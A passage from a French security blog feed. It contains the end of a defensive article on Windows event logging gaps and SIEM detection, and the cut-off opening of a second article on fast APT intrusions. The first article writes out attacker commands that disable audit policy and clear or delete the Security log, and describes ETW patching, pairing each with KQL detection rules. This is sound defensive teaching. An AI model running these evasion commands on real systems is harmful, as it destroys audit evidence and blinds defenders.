class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            $batt = ($ligne -split "LastHeartbeat: ")[1]</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            if ($batt -ne "N/A") {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                $heureBattement = [DateTime]::Parse($batt)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                if ($heureBattement -lt $deuxHeuresAvant) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    Write-Warning "OBSOLÈTE : $sourceActuelle dernier battement : $heureBattement"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span></code></pre></div></div>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-7--les-attaquants-exploitant-ces-lacunes--t1562002">Partie 7  Les Attaquants Exploitant Ces Lacunes : T1562.002<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-7--les-attaquants-exploitant-ces-lacunes--t1562002" class="hash-link" aria-label="Direct link to Partie 7  Les Attaquants Exploitant Ces Lacunes : T1562.002" title="Direct link to Partie 7  Les Attaquants Exploitant Ces Lacunes : T1562.002" translate="no">​</a></h2>
<p>Tout ce qui précède décrit des lacunes accidentelles. Les attaquants sophistiqués les exploitent délibérément. MITRE ATT&amp;CK T1562.002 (Affaiblir les Défenses : Désactiver la Journalisation des Événements Windows) documente les techniques spécifiques.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="71-désactiver-la-stratégie-daudit-en-plein-milieu-dune-attaque">7.1 Désactiver la Stratégie d'Audit en Plein Milieu d'une Attaque<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#71-d%C3%A9sactiver-la-strat%C3%A9gie-daudit-en-plein-milieu-dune-attaque" class="hash-link" aria-label="Direct link to 7.1 Désactiver la Stratégie d'Audit en Plein Milieu d'une Attaque" title="Direct link to 7.1 Désactiver la Stratégie d'Audit en Plein Milieu d'une Attaque" translate="no">​</a></h3>
<div class="language-cmd codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-cmd codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Un attaquant avec des droits admin locaux peut désactiver des sous-catégories d'audit spécifiques</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: pour supprimer la journalisation de ses techniques spécifiques</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Désactiver la journalisation de création de processus avant d'exécuter des outils</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">auditpol /set /subcategory:"Process Creation" /success:disable /failure:disable</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Désactiver la journalisation des événements de connexion pendant le mouvement latéral</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">auditpol /set /subcategory:"Logon" /success:disable</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: Ceci génère Event ID 4719 (stratégie d'audit modifiée)  SI vous le journalisez</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">:: La plupart des environnements n'alertent pas sur 4719. Vérifiez le vôtre :</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">auditpol /get /subcategory:"Audit Policy Change"</span><br></span></code></pre></div></div>
<p>La défense : alerter sur Event ID 4719 (stratégie d'audit système modifiée). Cet événement est généré chaque fois qu'<code>auditpol</code> modifie la stratégie locale. C'est l'un des indicateurs les plus fiables d'évasion de défense active  il a presque aucune utilisation légitime en dehors des changements administratifs planifiés.</p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// KQL  Alerter sur les changements de stratégie d'audit depuis des processus non-tâches planifiées</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SecurityEvent</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where EventID == 4719</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where TimeGenerated &gt; ago(24h)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| extend </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    UtilisateurSujet = tostring(EventData.SubjectUserName),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ConnexionSujet = tostring(EventData.SubjectLogonId),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    ChangementsStratégie = tostring(EventData.AuditPolicyChanges)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where UtilisateurSujet !endswith "$"  // Exclure les comptes machine (application GPO)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, Computer, UtilisateurSujet, ChangementsStratégie</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="72-effacement-du-journal-dévénements">7.2 Effacement du Journal d'Événements<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#72-effacement-du-journal-d%C3%A9v%C3%A9nements" class="hash-link" aria-label="Direct link to 7.2 Effacement du Journal d'Événements" title="Direct link to 7.2 Effacement du Journal d'Événements" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># L'attaquant efface le journal Security pour détruire des preuves</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">wevtutil cl Security   # Génère Event 1102 (journal d'audit effacé)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># OU</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Clear-EventLog -LogName Security  # Même résultat</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Remove-EventLog est plus destructeur  supprime entièrement le canal</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Remove-EventLog -LogName Security</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Ne génère PAS 1102  le canal est supprimé avant que l'événement puisse être écrit</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Génère 104 dans le journal System (erreur du service de journalisation)</span><br></span></code></pre></div></div>
<p>Détecter l'effacement du journal :</p>
<div class="language-kql codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-kql codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Alerter sur Event 1102 (journal Security effacé)  événement légitime rare</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">SecurityEvent</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where EventID == 1102</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, Computer, </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          Compte = tostring(EventData.SubjectUserName),</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">          IdConnexion = tostring(EventData.SubjectLogonId)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| sort by TimeGenerated desc</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">// Alerter également sur Event 104 (journal System) indiquant la suppression du canal</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Event</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| where EventLog == "System" and EventID == 104</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">| project TimeGenerated, Computer, RenderedDescription</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="73-manipulation-du-fournisseur-etw-avancé">7.3 Manipulation du Fournisseur ETW (Avancé)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#73-manipulation-du-fournisseur-etw-avanc%C3%A9" class="hash-link" aria-label="Direct link to 7.3 Manipulation du Fournisseur ETW (Avancé)" title="Direct link to 7.3 Manipulation du Fournisseur ETW (Avancé)" translate="no">​</a></h3>
<p>Un attaquant sophistiqué peut manipuler ETW au niveau noyau, désactivant des fournisseurs spécifiques sans déclencher d'événements d'effacement de journaux :</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Technique : Patcher l'enregistrement du fournisseur ETW dans la mémoire du processus cible</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">pour retourner tôt depuis la fonction d'écriture ETW, supprimant silencieusement tous</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">les événements de ce fournisseur sans aucun Event ID 1102, 4719 ou 104 apparaissant.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Détection : </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- Comparer les volumes d'événements attendus vs. réels (Section 6.2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- Surveiller Sysmon Event ID 1 (création de processus) avec des signatures d'outils</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">  de patching ETW connus dans le champ CommandLine</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- Vérifier les compteurs de perte de tampon de session ETW (Section 1.2)</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">- L'injection synthétique d'événements détectera cela (Section 6.3)</span><br></span></code></pre></div></div>
<p>Il n'y a pas d'événement unique qui se déclenche quand ETW est patché en mémoire. La détection basée sur le volume et l'injection synthétique sont les seules détections fiables.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="partie-8--la-feuille-de-route-de-durcissement--corrigez-le-cette-semaine">Partie 8  La Feuille de Route de Durcissement : Corrigez-le Cette Semaine<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#partie-8--la-feuille-de-route-de-durcissement--corrigez-le-cette-semaine" class="hash-link" aria-label="Direct link to Partie 8  La Feuille de Route de Durcissement : Corrigez-le Cette Semaine" title="Direct link to Partie 8  La Feuille de Route de Durcissement : Corrigez-le Cette Semaine" translate="no">​</a></h2>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-1-faites-le-aujourdhui">Priorité 1 (Faites-le Aujourd'hui)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#priorit%C3%A9-1-faites-le-aujourdhui" class="hash-link" aria-label="Direct link to Priorité 1 (Faites-le Aujourd'hui)" title="Direct link to Priorité 1 (Faites-le Aujourd'hui)" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># 1. Vérifier que le drapeau de substitution de la stratégie d'audit est défini sur tous les DCs</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Attendu : "Audit: Force audit policy..." = Activé</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">Invoke-Command -ComputerName "DC01","DC02","SERVER01" -ScriptBlock {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $paramètre = secedit /export /cfg "$env:TEMP\secpol.cfg" /quiet</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Select-String "MACHINE\\System\\CurrentControlSet\\Control\\Lsa\\SCENoApplyLegacyAuditPolicy" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        "$env:TEMP\secpol.cfg"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># 2. Vérifier que la création de processus (4688) génère des événements sur au moins un DC</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$récents4688 = Get-WinEvent -ComputerName "DC01" -LogName Security `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -FilterXPath "*[System[EventID=4688 and TimeCreated[timediff(@SystemTime) &lt;= 3600000]]]" `</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    -MaxEvents 5 -ErrorAction SilentlyContinue</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">if (-not $récents4688) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Warning "Aucun événement 4688 dans la dernière heure sur DC01  stratégie d'audit mal configurée"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># 3. Vérifier que la journalisation de la ligne de commande est activée</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$paramètreLigneCommande = Invoke-Command -ComputerName "DC01" -ScriptBlock {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    $chemin = "HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System\Audit"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    (Get-ItemProperty -Path $chemin -Name "ProcessCreationIncludeCmdLine_Enabled" -EA SilentlyContinue).ProcessCreationIncludeCmdLine_Enabled</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">if ($paramètreLigneCommande -ne 1) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Write-Warning "Journalisation ligne de commande NON activée sur DC01  tous les événements 4688 ont CommandLine vide"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-2-cette-semaine">Priorité 2 (Cette Semaine)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#priorit%C3%A9-2-cette-semaine" class="hash-link" aria-label="Direct link to Priorité 2 (Cette Semaine)" title="Direct link to Priorité 2 (Cette Semaine)" translate="no">​</a></h3>
<div class="language-powershell codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:hsl(212, 13%, 16%);--prism-background-color:hsl(256, 12%, 98%)"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-powershell codeBlock_bY9V thin-scrollbar" style="color:hsl(212, 13%, 16%);background-color:hsl(256, 12%, 98%)"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain"># Redimensionner le journal Security sur tous les DCs à 4 Go</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">$dcs = (Get-ADDomainController -Filter *).Name</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">foreach ($dc in $dcs) {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    Invoke-Command -ComputerName $dc -ScriptBlock {</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        wevtutil sl Security /ms:4294967296        # 4 Go</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        wevtutil sl Microsoft-Windows-Sysmon/Operational /ms:2147483648  # 2 Go</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        wevtutil sl Microsoft-Windows-PowerShell/Operational /ms:1073741824  # 1 Go</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        Write-Output "$env:COMPUTERNAME tailles de journaux mises à jour"</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    }</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">}</span><br></span></code></pre></div></div>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="priorité-3-ce-mois">Priorité 3 (Ce Mois)<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#priorit%C3%A9-3-ce-mois" class="hash-link" aria-label="Direct link to Priorité 3 (Ce Mois)" title="Direct link to Priorité 3 (Ce Mois)" translate="no">​</a></h3>
<p>Déployez le test d'injection synthétique d'événements comme une tâche planifiée sur 10 hôtes représentatifs (DCs, serveurs critiques, échantillon de postes de travail). Exécutez toutes les 4 heures. Alertez dans le SIEM si un marqueur est absent après 15 minutes. Cela vous donne une validation continue et automatisée de la fidélité de collecte  la métrique qui transforme ceci d'un audit ponctuel en contrôle opérationnel continu.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="linventaire-complet-des-lacunes--quoi-vérifier-et-comment">L'Inventaire Complet des Lacunes : Quoi Vérifier et Comment<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#linventaire-complet-des-lacunes--quoi-v%C3%A9rifier-et-comment" class="hash-link" aria-label="Direct link to L'Inventaire Complet des Lacunes : Quoi Vérifier et Comment" title="Direct link to L'Inventaire Complet des Lacunes : Quoi Vérifier et Comment" translate="no">​</a></h2>
<table><thead><tr><th>Lacune</th><th>Méthode de Détection</th><th>Outil</th><th>Temps pour Vérifier</th></tr></thead><tbody><tr><td>Stratégie d'audit ne générant pas d'événements</td><td>auditpol /get /category:*</td><td>auditpol.exe</td><td>5 min par hôte</td></tr><tr><td>Conflit stratégie héritée/avancée</td><td>Vérifier SCENoApplyLegacyAuditPolicy=0</td><td>secedit / registre</td><td>10 min</td></tr><tr><td>Journalisation ligne de commande désactivée</td><td>Vérification du registre</td><td>PowerShell</td><td>2 min par hôte</td></tr><tr><td>Tailles de journaux trop petites</td><td>wevtutil gl Security</td><td>wevtutil.exe</td><td>2 min par hôte</td></tr><tr><td>Erreurs de filtre d'abonnement WEF</td><td>Tester XPath avec Get-WinEvent -FilterXPath</td><td>PowerShell</td><td>15 min</td></tr><tr><td>Serveur WEC perdant des événements</td><td>Compteur ETW Buffers Lost</td><td>Get-Counter</td><td>10 min</td></tr><tr><td>Mode de livraison WEF trop lent</td><td>wecutil gs &lt;abonnement&gt; DeliveryMaxLatency</td><td>wecutil.exe</td><td>5 min</td></tr><tr><td>Sources WEF obsolètes</td><td>wecutil gr &lt;abonnement&gt; LastHeartbeat</td><td>wecutil.exe</td><td>15 min</td></tr><tr><td>Écarts EventRecordID dans SIEM</td><td>Comparer RecordId source vs. requête SIEM</td><td>PowerShell + SIEM</td><td>30 min</td></tr><tr><td>Déviation référence volume</td><td>Requête SIEM comparant dernière heure à moyenne 7 jours</td><td>SIEM</td><td>Continu</td></tr><tr><td>Journal d'audit effacé (1102)</td><td>Règle d'alerte dans SIEM</td><td>SIEM</td><td>Déployer maintenant</td></tr><tr><td>Stratégie d'audit manipulée (4719)</td><td>Règle d'alerte dans SIEM</td><td>SIEM</td><td>Déployer maintenant</td></tr><tr><td>Manipulation ETW</td><td>Test d'injection synthétique</td><td>PowerShell planifié</td><td>Déployer hebdomadaire</td></tr></tbody></table>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="références">Références<a href="https://inferencedefense.com/fr/blog/fr-architecture-journaux-evenements-windows-lacunes-siem#r%C3%A9f%C3%A9rences" class="hash-link" aria-label="Direct link to Références" title="Direct link to Références" translate="no">​</a></h2>
<ul>
<li class="">Microsoft Learn : "Use Windows Event Forwarding to help with intrusion detection"</li>
<li class="">Palantir : dépôt GitHub windows-event-forwarding  architecture WEF en production</li>
<li class="">Elastic : "The Essentials of Central Log Collection with WEF/WEC"</li>
<li class="">MITRE ATT&amp;CK T1562.002 : Affaiblir les Défenses  Désactiver la Journalisation des Événements Windows</li>
<li class="">MITRE ATT&amp;CK T1070.001 : Suppression d'Indicateurs  Effacement des Journaux d'Événements Windows</li>
<li class="">Microsoft Learn : Documentation Event ID 1102 et 4719</li>
<li class="">NSA/CISA : "Windows Event Logging and Forwarding" (NSA-CSI-18-130)</li>
<li class="">Malware Archaeology : Windows Logging Cheat Sheet v2019</li>
<li class="">Roberto Rodriguez (Cyb3rWard0g) : ThreatHunter-Playbook  Recherche ETW</li>
</ul>
<hr>
<p><em>Toutes les commandes de cet article sont des utilitaires d'administration Windows standard et des commandes PowerShell intégrées. Elles opèrent sur des journaux auxquels vous avez un accès administratif. Il s'agit d'un guide d'opérations défensives.</em></p>]]></content:encoded>
            <category>ingénierie-détection</category>
            <category>opérations-soc</category>
            <category>sécurité-windows</category>
            <category>journaux-événements</category>
            <category>siem</category>
            <category>wef</category>
            <category>stratégie-audit</category>
            <category>etw</category>
        </item>
        <item>
            <title><![CDATA[Comment les Groupes APT Pivotent de l'Accès Initial à la Domination du Domaine en Moins de 4 Heures]]></title>
            <link>https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures</link>
            <guid>https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures</guid>
            <pubDate>Fri, 17 Apr 2026 00:00:00 GMT</pubDate>
            <description><![CDATA[Une analyse technique approfondie de la chronologie d'une attaque  de la première intrusion jusqu'à l'administrateur de domaine  avec commandes exactes, angles morts de télémétrie et règles de détection pour les équipes SOC.]]></description>
            <content:encoded><![CDATA[<blockquote>
<p><em>Vous fixez une alerte EDR à 23h47. Un document Word a lancé PowerShell. Au moment où votre analyste prend en charge le ticket à 00h09, l'attaquant a déjà une balise qui appelle son C2, a exécuté BloodHound sur tout votre AD, extrait les identifiants de LSASS, et s'authentifie sur votre contrôleur de domaine avec un hash d'Administrateur de Domaine. Le "temps de présence moyen de 200 jours" que vous avez cité lors du comité de direction du trimestre dernier va bientôt devenir une note de bas de page. Cette intrusion se terminera en quatre heures.</em></p>
</blockquote>
<p><strong>Catégorie :</strong> Renseignement sur les Menaces · <strong>Temps de lecture :</strong> 25 min · <strong>Audience :</strong> Analystes SOC, Ingénieurs de Détection, Intervenants sur Incidents</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-1--lhorloge-des-4-heures--pourquoi-les-statistiques-de-dwell-time-détruisent-votre-posture-de-sécurité">Section 1  L'Horloge des 4 Heures : Pourquoi les Statistiques de Dwell Time Détruisent Votre Posture de Sécurité<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#section-1--lhorloge-des-4-heures--pourquoi-les-statistiques-de-dwell-time-d%C3%A9truisent-votre-posture-de-s%C3%A9curit%C3%A9" class="hash-link" aria-label="Direct link to Section 1  L'Horloge des 4 Heures : Pourquoi les Statistiques de Dwell Time Détruisent Votre Posture de Sécurité" title="Direct link to Section 1  L'Horloge des 4 Heures : Pourquoi les Statistiques de Dwell Time Détruisent Votre Posture de Sécurité" translate="no">​</a></h2>
<p>Le chiffre de "197 jours de dwell time moyen" est cité dans les présentations aux conseils d'administration et les justifications budgétaires depuis une décennie. Il n'est pas faux  il est simplement sans pertinence pour la manière dont les intrusions ciblées modernes se déroulent.</p>
<p>Cette moyenne est tirée vers le haut par deux scénarios extrêmes : des acteurs peu sophistiqués qui établissent une persistance et restent inactifs, et des campagnes d'espionnage étatiques délibérément conçues pour une collecte silencieuse à long terme. Aucun des deux ne décrit votre opérateur de ransomware, votre groupe eCrime motivé financièrement, ou un acteur menant un vol ciblé de propriété intellectuelle.</p>
<p>La métrique qui compte pour les défenseurs est le <strong>temps d'évasion</strong> (<em>breakout time</em>)  temps écoulé entre l'obtention de l'accès initial sur le premier hôte et le début du mouvement latéral vers un second hôte. Les rapports sectoriels de 2024 indiquent une médiane de <strong>62 minutes</strong>. Le cas le plus rapide enregistré était inférieur à <strong>3 minutes</strong>.</p>
<p>Cette seule statistique devrait remodeler votre approche de chaque SLA dans votre SOC.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="à-quoi-ressemble-réellement-la-chronologie">À Quoi Ressemble Réellement la Chronologie<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#%C3%A0-quoi-ressemble-r%C3%A9ellement-la-chronologie" class="hash-link" aria-label="Direct link to À Quoi Ressemble Réellement la Chronologie" title="Direct link to À Quoi Ressemble Réellement la Chronologie" translate="no">​</a></h3>
<p>La chronologie suivante est une reconstitution composite à partir de multiples rapports DFIR publics, combinant des éléments d'intrusions documentées par des groupes incluant SCATTERED SPIDER, des affiliés de Cl0p lors de la campagne MOVEit, et des opérateurs ALPHV/BlackCat.</p>
<!-- -->
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="pourquoi-vos-slas-actuels-ne-peuvent-pas-suivre">Pourquoi Vos SLAs Actuels Ne Peuvent Pas Suivre<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#pourquoi-vos-slas-actuels-ne-peuvent-pas-suivre" class="hash-link" aria-label="Direct link to Pourquoi Vos SLAs Actuels Ne Peuvent Pas Suivre" title="Direct link to Pourquoi Vos SLAs Actuels Ne Peuvent Pas Suivre" translate="no">​</a></h3>
<p>Si votre SLA d'acquittement P1 est de 15 minutes et votre SLA de confinement est de 4 heures, vous êtes structurellement incapable de prévenir le mouvement latéral contre un adversaire opérant sur cette chronologie. Le calcul ne fonctionne pas, et affiner les détections sans traiter la vélocité de réponse revient à réarranger les chaises longues sur le Titanic.</p>
<p>Ce n'est pas un argument pour la panique  c'est un argument pour des <strong>déclencheurs de confinement automatisés sur des événements spécifiques à haute confiance</strong>, plutôt que de dépendre d'un humain dans la boucle pour chaque étape de la chaîne de réponse.</p>
<hr>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="section-2--anatomie-technique-dun-pivot-rapide">Section 2  Anatomie Technique d'un Pivot Rapide<a href="https://inferencedefense.com/fr/blog/apt-acces-initial-vers-domination-domaine-4-heures#section-2--anatomie-technique-dun-pivot-rapide" class="hash-link" aria-label="Direct link to Section 2  Anatomie Technique d'un Pivot Rapide" title="Direct link to Section 2  Anatomie Technique d'un Pivot Rapide" translate="no">​</a></h2>
<p>La rapidité vient d'outils affinés sur des années d'utilisation en red team et par des opérateurs criminels.</p>
